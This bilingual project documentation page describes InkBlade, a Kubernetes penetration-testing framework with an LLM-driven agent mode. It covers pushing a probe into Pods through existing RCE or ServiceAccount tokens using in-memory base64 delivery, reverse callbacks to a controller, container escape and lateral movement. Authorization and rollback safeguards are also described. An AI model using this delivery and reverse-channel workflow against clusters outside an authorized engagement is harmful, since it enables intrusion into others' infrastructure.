Each layer is a set of templates you can run on its own. A template declares inputs, steps, checks, findings and artifacts; the probe executes it and returns evidence.

The ten layers

Layer detail, detection points and evidence produced: DETECTION-LAYERS.md · PRODUCT.md

Platform capabilities

• One execution path. Foothold, Rust probe, framed channel, in-pod task, child probe, evidence.
• Probe trees. probe_id and parent_id; each child has its own token and a stricter budget; the tree limits nesting depth and concurrent child probes; cleanup is child-first.
• Agent runtime. A budgeted objective graph with decision trace, journal resume and zero-execution replay.
• Cross-cluster relay. The same framed protocol between clusters, with a completion proof.
• Evidence from the probe. Task results, step logs, artifacts, SHA-256 manifests, traffic tables and cleanup receipts.
• Rules you can replay. Admission, runtime and network packs with intercepted / detected / missed matrices.
• Report and console. Bilingual pentest and remediation reports, SARIF / OCSF / VEX export, local console.

每一层都是一组可独立执行的模板。模板声明输入、步骤、检查项、发现和产物；探针执行模板并回传证据。

十层一览

逐层检测点与证据产出：DETECTION-LAYERS.md · PRODUCT.md

平台能力

• 一条执行路径。 立足、Rust 探针、帧通道、Pod 内任务、子探针、证据。
• 探针树。 probe_id 与 parent_id 标出位置；子探针用自己的 token，继承只能更严格；限制嵌套层数与并发子探针数量；清理先子后父。
• Agent 运行时。 带预算的目标图，含决策轨迹、journal 恢复与零执行回放。
• 跨集群中继。 集群间用同一套帧协议，并留下覆盖证明。
• 证据由探针产出。 任务结果、步骤日志、产物、SHA-256 manifest、流量表与清理回执。
• 规则可重放。 准入、运行时、网络三类规则包，输出拦截 / 检出 / 漏过矩阵。
• 报告与控制台。 双语渗透与修复报告、SARIF / OCSF / VEX 导出、本地控制台。

The controller never executes target-side logic. It authorizes, renders templates, enforces budgets and archives evidence. The probe is the only code that runs inside the Pod.

foothold ──▶ Rust probe ──▶ framed channel ──▶ in-pod task
                                              │
                                              ├─▶ child probe ──▶ child probe
                                              └─▶ evidence ──▶ report / rules / console

Three components

• Templates. template.json declares inputs, payloads, steps, computed state, checks, findings and artifacts.
• Probe. A static Rust binary speaks an HMAC-authenticated framed protocol and executes http, tcp, exec, fs, k8s, socks and spawn ops.
• Controller. Python enforces consent, scope, level, backup and audit, then folds probe evidence into findings.

Probe tree

Every probe has a probe_id and a parent_id. Children inherit the parent's read-only state, command allow-list and budget, and can only be stricter. Cleanup runs child-first, so no uncleaned child probe keeps a token alive.

ARCHITECTURE.md · ARCHITECTURE-PROBE.md · PROBE-PROTOCOL.md

控制端不在目标侧执行任何逻辑：它负责授权、渲染模板、执行预算与归档证据。探针是 Pod 里唯一运行的代码。

立足 ──▶ Rust 探针 ──▶ 帧通道 ──▶ Pod 内任务
                                   │
                                   ├─▶ 子探针 ──▶ 子探针
                                   └─▶ 证据 ──▶ 报告 / 规则 / 控制台

三个组件

• 模板层。 template.json 声明输入、载荷、步骤、computed 状态、检查项、发现与产物。
• 探针端。 静态 Rust 二进制使用 HMAC 认证的帧协议，执行 http、tcp、exec、fs、k8s、socks 与 spawn。
• 控制端。 Python 负责授权、范围、级别、备份与审计校验，并把探针证据汇总成发现。

探针树

每颗探针都有 probe_id 与 parent_id。子探针继承父探针的只读状态、命令白名单与预算，且只能更严格。清理先子后父，避免留下未清理、仍持有 token 的子探针进程。

ARCHITECTURE.md · ARCHITECTURE-PROBE.md · PROBE-PROTOCOL.md

The probe is one static musl binary per architecture, linux/amd64 and linux/arm64. Templates are JSON data.

Probe operations

Every operation is budgeted, scoped and recorded in the evidence store; the probe tree cleans up child-first.

Every module is a template, and the registry rejects a module that ships run.py.

ARCHITECTURE-PROBE.md · PROBE-PROTOCOL.md · PROBE-BUILD.md

探针是 linux/amd64 与 linux/arm64 各一个静态 musl 二进制。模板是 JSON 数据。

探针操作

每个操作都受预算与范围约束，并写入证据库；探针树按先子后父的顺序清理。

每个模块都是模板；注册表不接受带 run.py 的模块。

ARCHITECTURE-PROBE.md · PROBE-PROTOCOL.md · PROBE-BUILD.md

The reverse channel and the ML proxies are separate layers: the channel carries frames between controller and probe, the proxies carry a service protocol between the probe and an in-scope target.

Authentication and encryption

• Every framed message carries a token and an HMAC; a wrong token or MAC closes the channel.
• TLS, WSS, HTTPS, QUIC and WebTransport validate the controller certificate against a pinned SHA-256 fingerprint and an optional CA file.
• gRPC, Redis, TCPStore, NCCL and UCX proxies are TLS-wrapped; ZMTP uses CURVE with Z85 keys when enabled.
• SOCKS5 stays on loopback and is a compatibility path for local tooling, not a network-wide proxy.

PROBE-CHANNEL.md · PROBE-PROTOCOL.md · USAGE.md

回连通道与 ML 代理属于两层：通道在控制端与探针之间承载帧，代理在探针与范围内目标之间承载服务协议。

认证与加密

• 每个帧都带 token 与 HMAC；token 或 MAC 不匹配就断开连接。
• TLS、WSS、HTTPS、QUIC 与 WebTransport 用 SHA-256 pin 校验控制端证书，可选 CA 文件。
• gRPC、Redis、TCPStore、NCCL 与 UCX 代理走 TLS；ZMTP 启用时使用 CURVE 与 Z85 密钥。
• SOCKS5 只留在回环，是本地工具的兼容路径，不是全网代理。

PROBE-CHANNEL.md · PROBE-PROTOCOL.md · USAGE.md

The template catalogue is built on 184 vulnerability write-ups, each recording the component, affected versions, root cause, impact and detection. 68 have runnable PoCs. The research set contains 169 entries: 47 were reproduced dynamically and confirmed unpublished, 46 are ready for coordinated disclosure, and deduplication leaves 39 distinct exploit primitives. A 103-record version matrix and 121 detection rules feed 29 attack chains.

Vulnerability research

The public ledger lists component, class, affected versions and disclosure status; exploit details stay private.

0DAY-PUBLIC.md · VULNERABILITY-LAYERS.md · DETECTION-LAYERS.md

模板目录对应 184 条漏洞记录，每条写清组件、受影响版本、根因、影响与检测方式；其中 68 条带可运行 PoC。研究集共 169 条：47 条经动态复现并确认未公开，46 条可以进入协调披露，去重后得到 39 个独立利用原语。103 条受影响版本记录与 121 条检测规则支撑 29 条攻击链。

漏洞研究

公开台账列出组件、类别、受影响版本与披露状态；利用细节不公开。

0DAY-PUBLIC.md · VULNERABILITY-LAYERS.md · DETECTION-LAYERS.md

The order matters. Any stage can refuse, and a refusal stops the run.

• 1Footholdsession open records the entry vector, target, namespace, Pod and credential fingerprint.
  → session record
• 2Rust probeprobe deploy delivers the static binary and registers its identity and hash.
  → probe identity
• 3Channelchannel listen accepts the probe's reverse connection; a stdio channel is available when a local transport exists.
  → channel state
• 4Detectionsession run, run and agent run execute templates across the ten layers.
  → findings, evidence
• 5Escapeexecute resolves a chain; write steps pass the backup check first.
  → escape path
• 6Lateralchannel forwards, child probes and agent graph edges map internal reachability.
  → reachability graph
• 7Multi-probeprobe spawn extends the tree; children inherit a stricter budget and allow-list.
  → probe tree
• 8Cross-clusteragent relay connects clusters; agent coverage writes the completion proof.
  → relay status, coverage proof
• 9Report / rules / consolereport, export, rules generate and ui finish the engagement.
  → report, rule packs, console

Write-permission checks

Stage reference

阶段顺序很重要。任何阶段都可以拒绝，拒绝之后这次运行就停在这里。

• 1立足session open 记录入口方式、目标、命名空间、Pod 与凭据指纹。
  → 会话记录
• 2Rust 探针probe deploy 投放静态二进制并登记身份与哈希。
  → 探针身份
• 3通道channel listen 接收探针回连；有本地命令通道时也可以用 stdio 通道。
  → 通道状态
• 4检测session run、run 与 agent run 按十层执行模板。
  → 发现、证据
• 5逃逸execute 解析链；写步骤先过备份校验。
  → 逃逸路径
• 6横向通道转发、子探针与 agent 图边测绘内部可达性。
  → 可达图
• 7多探针probe spawn 扩展探针树；子探针继承更严格的预算与白名单。
  → 探针树
• 8跨集群agent relay 连接集群；agent coverage 写出完成证明。
  → 中继状态、覆盖证明
• 9报告 / 规则 / 控制台report、export、rules generate 与 ui 完成报告、规则与控制台。
  → 报告、规则包、控制台

写操作的五道校验

逐阶段参考

Start from the console and attach the probe or foothold you already hold. The default foothold is a least-privilege Pod: non-root, no hostPath or privileged mode, no kubeconfig, outbound TCP only.

1. python -m pip install -e .Install the controller (Python 3.10 – 3.13).
2. python -m inkblade upStart the console, sign in and sign the authorization record.
3. python -m inkblade probe listAttach an existing probe; the controller listens and the probe connects back.
4. python -m inkblade session open --mode foothold ...First delivery from the shell, SA token or RCE you already hold.
5. python -m inkblade agent run --probe <probe-id> ...Run detection through the probe channel, then report.

$ python -m inkblade up
$ python -m inkblade quickstart
$ python -m inkblade probe list
$ python -m inkblade channel listen
$ python -m inkblade session open --mode foothold --target <target>     --credential-source pod-shell --namespace <namespace> --pod <pod>
$ python -m inkblade probe deploy --session <session-id> --via rce     --binary ./inkblade-probe-linux-amd64 --probe-token-file ./probe.token --allow-write
$ inkblade-probe reverse --host <controller> --port <port>
$ python -m inkblade agent run --probe <probe-id> --objective read-only-recon --workspace ./work
$ python -m inkblade report --run <run-id> --lang bi

Child probes are delivered from the parent with probe upload + probe spawn and call back the same way. A stdio channel (channel start) is available when a local command transport exists. A kubeconfig is optional, only for a first batch bootstrap of several Pods. The documentation site is local: python -m inkblade docs serves docs/ on 127.0.0.1:8766 and opens the browser; --no-browser keeps it headless.

Quick start · Install · Usage

从控制台开始，接入你已有的探针或立足点。默认立足点是一个普通的最低权限 Pod：非 root、没有 hostPath 或 privileged、没有 kubeconfig，只有出站 TCP。

1. python -m pip install -e .安装控制端，需要 Python 3.10 – 3.13。
2. python -m inkblade up启动控制台，在浏览器里登录并签授权记录。
3. python -m inkblade probe list接入已有探针；控制端监听，探针主动回连。
4. python -m inkblade session open --mode foothold ...用已有 shell、SA token 或 RCE 完成首次投放。
5. python -m inkblade agent run --probe <probe-id> ...通过探针通道执行检测，再生成报告。

$ python -m inkblade up
$ python -m inkblade quickstart
$ python -m inkblade probe list
$ python -m inkblade channel listen
$ python -m inkblade session open --mode foothold --target <target>     --credential-source pod-shell --namespace <namespace> --pod <pod>
$ python -m inkblade probe deploy --session <session-id> --via rce     --binary ./inkblade-probe-linux-amd64 --probe-token-file ./probe.token --allow-write
$ inkblade-probe reverse --host <controller> --port <port>
$ python -m inkblade agent run --probe <probe-id> --objective read-only-recon --workspace ./work
$ python -m inkblade report --run <run-id> --lang bi

子探针由父探针用 probe upload + probe spawn 投放，回连方式相同。目标环境里有本地命令通道时，可以用 stdio 通道（channel start）。kubeconfig 是可选的，只用于首次批量 bootstrap。文档站点在本地：python -m inkblade docs 在 127.0.0.1:8766 提供 docs/ 并打开浏览器，--no-browser 则不打开。

快速开始 · 安装 · 使用

Commands that do not contact a cluster or an LLM run offline. Agent planning needs an LLM endpoint.

Full usage reference

不访问集群或 LLM 的命令可以离线运行；`agent` 规划需要配置 LLM 端点。

完整使用手册

The controller is a Python package with no third-party dependency. The probe is a separate static binary.

python -m pip wheel . --no-deps -w dist/
python -m pip install --no-index --find-links dist/ inkblade

docker build -t inkblade:0.2.0 .
docker run --rm -v inkblade-data:/data inkblade:0.2.0 up

helm install inkblade deploy/helm/inkblade   --namespace inkblade --create-namespace

uid 10001, read-only root, a PVC for evidence. Read verbs by default; writes need readOnly=false, rbac.allowWrite=true and a signed record. Uninstall keeps the PVC.

Install guide · Probe delivery

控制端是一个无第三方依赖的 Python 包；探针是独立的静态二进制。

python -m pip wheel . --no-deps -w dist/
python -m pip install --no-index --find-links dist/ inkblade

docker build -t inkblade:0.2.0 .
docker run --rm -v inkblade-data:/data inkblade:0.2.0 up

helm install inkblade deploy/helm/inkblade   --namespace inkblade --create-namespace

uid 10001、根文件系统只读、证据写入 PVC。默认只给读动词；写操作需要 readOnly=false、rbac.allowWrite=true 与签署记录。卸载时保留 PVC。

安装指南 · 探针投放

InkBlade refuses to run without a signed record, and each stage has its own check.

1. RoE recordTarget, scope, level, window and emergency contact. Hash-pinned and carried by every run.
2. Read-only defaultCollection, probes, file reads and read-only templates need no extra flag.
3. Five write-permission checksSession level, --allow-write, meta.writes, backup-write mode, backup receipt.
4. Backup and rollbackSnapshot before the write, record both, restore one step at a time.
5. Audit and evidenceEvery probe action and file access lands in the evidence store with a SHA-256 manifest.
6. Kill switchinkblade abort stops the workspace; agent stop stops one run.

没有签署记录，InkBlade 拒绝运行。每个阶段都有自己的校验。

1. RoE 记录目标、范围、级别、时间窗与应急联系人；记录带哈希，随每次运行进入证据。
2. 默认只读采集、探测、读文件与只读模板不需要额外开关。
3. 五道写权限校验会话级别、--allow-write、meta.writes、backup-write 模式、备份回执。
4. 备份与回滚写前做快照，写操作与快照都记录，恢复按步骤进行。
5. 审计与证据每次探针动作与文件访问进入证据库，带 SHA-256 manifest。
6. 急停inkblade abort 停止整个工作区；agent stop 停止单次运行。

How does the probe get into the Pod?

From a foothold you already hold. The default is authorized RCE: base64 chunks of the binary go into the Pod and are written through memfd, or through /dev/shm or /tmp when memfd is unavailable, then chmod 700 and start. A ServiceAccount token, a shared volume and an EphemeralContainer manifest are the other roads: probe deploy --via sa-token builds a temporary kubeconfig and uses kubectl cp + exec, a shared volume carries the binary through a mounted volume, and probe deploy --via manifest generates the Pod, Job or EphemeralContainer manifest. kubectl is only needed for batch bootstrap. Once started, the probe calls back with inkblade-probe reverse --host --port , and every later command runs over that channel.

Is the probe a backdoor?

No. It does not persist, modify startup, patch images or call a fixed C2. It runs inside an authorized session, executes registered templates, defaults to read-only, checks writes and cleans up.

How are writes controlled?

Five checks: signed authorization covering target, level and window; --allow-write; meta.writes with a write step; backup-write mode; and a backup receipt. A write reads back the hash and rolls back on failure.

Can it run air-gapped?

Manual runs, templates, probes and reports run offline. Agent mode with LLM planning needs an LLM endpoint — a local model or an internal API; without one, use manual or rule-based execution.

Can I use it commercially?

Apache-2.0 permits commercial use and forks. Keep LICENSE and NOTICE, and do not use the InkBlade trademark for a fork.

More: FAQ.md

探针怎么进 Pod？

从你已有的立足点投放。默认是授权 RCE：二进制 base64 分块送进 Pod，落到 memfd；没有 memfd 就落到 /dev/shm 或 /tmp，chmod 700 后启动。另外三条路是 ServiceAccount token、共享卷与 EphemeralContainer 清单：probe deploy --via sa-token 生成临时 kubeconfig 后 kubectl cp + exec；共享卷把二进制放进目标容器挂载的卷；probe deploy --via manifest 生成 Pod、Job 或 EphemeralContainer 清单。kubectl 只在批量 bootstrap 时需要。探针启动后执行 inkblade-probe reverse --host <controller> --port <port> 回连控制端，之后的命令都走这条通道。

探针是不是后门？

不是。它不持久化、不改启动项、不改镜像、不回连固定 C2。它只在授权会话内运行，执行已注册模板，默认只读，写操作过校验，退出时清理。

写操作怎么保证安全？

五道校验：授权覆盖目标、级别与时间窗；--allow-write；meta.writes 与写步骤；backup-write 模式；备份回执。写后回读哈希，失败回滚。

能离线吗？

手动执行、模板、探针和报告可以离线；`agent run` 的 LLM 规划需要配置 LLM 端点（本地模型或内网 API），没有配置时就用手动或规则模式。

能商用或 fork 吗？

Apache-2.0 允许商用与 fork。保留 LICENSE 与 NOTICE，不要用 InkBlade 商标命名 fork。

更多：FAQ.md

Apache-2.0. Commercial use, forks and embedding are permitted; keep the notices.

Documentation index: DOC-INDEX.md

Apache-2.0。允许商用、fork 与嵌入到其他产品中；保留 LICENSE 与 NOTICE。

文档索引：DOC-INDEX.md